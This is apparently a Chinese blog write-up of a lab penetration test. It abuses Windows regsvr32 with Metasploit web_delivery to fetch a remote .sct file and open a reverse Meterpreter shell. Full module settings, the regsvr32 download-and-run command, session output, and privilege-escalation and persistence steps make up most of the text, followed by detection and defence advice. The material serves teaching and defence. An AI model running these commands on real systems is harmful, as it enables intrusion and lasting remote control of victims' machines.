基于Regsvr32.exe的渗透测试完整记录

基于Regsvr32.exe的渗透测试完整记录

测试环境配置

攻击端信息

  • 攻击系统:Kali Linux (Metasploit)
  • 攻击IP:192.168.1.80
  • 监听端口:7777
  • Web服务端口:8080

目标端信息

  • 目标系统:Windows
  • 目标IP:192.168.1.30
  • 连接端口:52982

完整攻击流程

步骤1:Metasploit模块配置

bash 复制代码
# 选择Web Delivery模块
msf > use exploit/multi/script/web_delivery

# 查看当前选项
msf exploit(multi/script/web_delivery) > options

# 查看可用目标类型
msf exploit(multi/script/web_delivery) > show targets

# 设置目标类型为Regsvr32
msf exploit(multi/script/web_delivery) > set target 3

# 配置Payload
msf exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp

# 设置监听主机和端口
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.80
msf exploit(multi/script/web_delivery) > set lport 7777

# 设置Web服务器主机
msf exploit(multi/script/web_delivery) > set srvhost 192.168.1.80

# 验证配置
msf exploit(multi/script/web_delivery) > show options

步骤2:启动攻击模块

bash 复制代码
# 后台运行攻击模块
msf exploit(multi/script/web_delivery) > exploit -j

# 系统返回信息:
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.80:7777 
[*] Using URL: http://192.168.1.80:8080/pxmlOB2r
[*] Server started.

步骤3:生成攻击命令

Metasploit生成以下攻击命令:

复制代码
regsvr32 /s /n /u /i:http://192.168.1.80:8080/pxmlOB2r.sct scrobj.dll

命令参数解析:

  • /s : 静默模式,不显示消息框
  • /n : 不调用DllRegisterServer
  • /u : 注销服务器
  • /i:http://... : 调用DllInstall并传递恶意.sct文件的URL
  • scrobj.dll : Windows脚本组件处理库

步骤4:执行攻击

在目标Windows系统(192.168.1.30)上执行生成的regsvr32命令。

cmd 复制代码
regsvr32 /s /n /u /i:http://192.168.1.80:8080/pxmlOB2r.sct scrobj.dll

步骤5:攻击成功验证

系统日志显示攻击成功:

复制代码
[*] 192.168.1.30     web_delivery - Handling .sct Request
[*] 192.168.1.30     web_delivery - Delivering Payload (3736 bytes)
[*] Sending stage (230982 bytes) to 192.168.1.30
[*] Meterpreter session 1 opened (192.168.1.80:7777 -> 192.168.1.30:52982) at 2026-01-18 07:43:51 -0500

技术分析

1. 攻击原理

  • Web Delivery模块:在攻击机(192.168.1.80)上启动Web服务器(端口8080)
  • 恶意.sct文件 :托管在http://192.168.1.80:8080/pxmlOB2r.sct
  • Regsvr32滥用 :利用regsvr32.exe的/i参数加载远程脚本组件
  • 载荷投递:通过scrobj.dll执行远程.sct文件中的恶意代码

2. 网络流量分析

复制代码
攻击路径:
目标机(192.168.1.30) → HTTP请求 → 攻击机(192.168.1.80:8080/pxmlOB2r.sct)
攻击机(192.168.1.80) → 反向TCP → 目标机(192.168.1.30:52982)

3. 载荷信息

  • Payload大小:3736字节(初始) + 230982字节(阶段载荷)
  • 连接方向:反向TCP连接
  • 会话信息:Session ID 1,从192.168.1.30:52982连接到192.168.1.80:7777

后续操作建议

1. 进入Meterpreter会话

bash 复制代码
# 查看当前会话
msf > sessions -l

# 进入会话1
msf > sessions -i 1

# 执行基本命令
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

2. 后渗透操作

bash 复制代码
# 权限提升
meterpreter > getsystem

# 信息收集
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_applications

# 持久化
meterpreter > run persistence -U -i 10 -p 7777 -r 192.168.1.80

防御检测建议

1. 检测指标

  • 进程创建:regsvr32.exe调用scrobj.dll
  • 网络连接:HTTP请求到异常URL的.sct文件
  • 命令行参数 :包含/s /n /u /i:http://的regsvr32命令

2. 防御措施

powershell 复制代码
# 监控Regsvr32执行
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} | 
Where-Object {$_.Message -like "*regsvr32*" -and $_.Message -like "*/i:*"}

# 应用白名单限制
New-Item -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe -Force

3. 网络防护

  • 阻止从内部主机到外部IP的regsvr32相关HTTP请求
  • 监控异常.sct文件下载行为
  • 限制regsvr32.exe执行远程代码的能力

实验总结

本次测试成功演示了利用Regsvr32.exe的"squiblydoo"攻击技术,通过滥用scrobj.dll加载远程恶意.sct文件,建立了反向Meterpreter会话。攻击从启动到建立会话用时极短,显示了此类攻击的高效性和隐蔽性。防御方应重点关注regsvr32异常使用和.sct文件远程加载行为。

相关推荐
Eloudy2 小时前
全文 - IMEX 第01节 -IMEX overview
运维·服务器·网络
物联网软硬件开发-轨物科技3 小时前
【技术白皮书】光伏清检一体化机器人系统解决方案技术白皮书
大数据·运维·网络·人工智能·机器人
Escalating_xu3 小时前
【Linux 网络编程】TCP 跨平台实战:用 Windows 客户端访问 Linux 服务器
linux·服务器·网络
是真的小外套5 小时前
2024年软考中级信息安全工程师|选择题考点+案例分析真题解析(含答案)
android·网络
Demons_kirit5 小时前
CTFHub 信息泄露通关笔记:Git泄露 Log - 教程
笔记·git·网络安全
苏能润滑油油液文哥5 小时前
储能液冷安全边界解析:从热失控链条看冷却液的介入区间与选型指标
安全
Vex2une5 小时前
Docker Desktop WSL2后端:2026年性能调优与避坑实战指南
windows·docker·desktop·gpu容器·容器开发·virtiofs·buildkit
小天源6 小时前
从 Nginx 日志到访问分析:轻量化网站监测服务的架构实践
jvm·nginx·网络安全·架构·网络监控
Lcr3s6 小时前
我的DVWA靶场实践_Low难度
安全
小天源6 小时前
让访问数据可解释:IP 地球大屏、地区库更新与运行维护设计
网络·网络协议·tcp/ip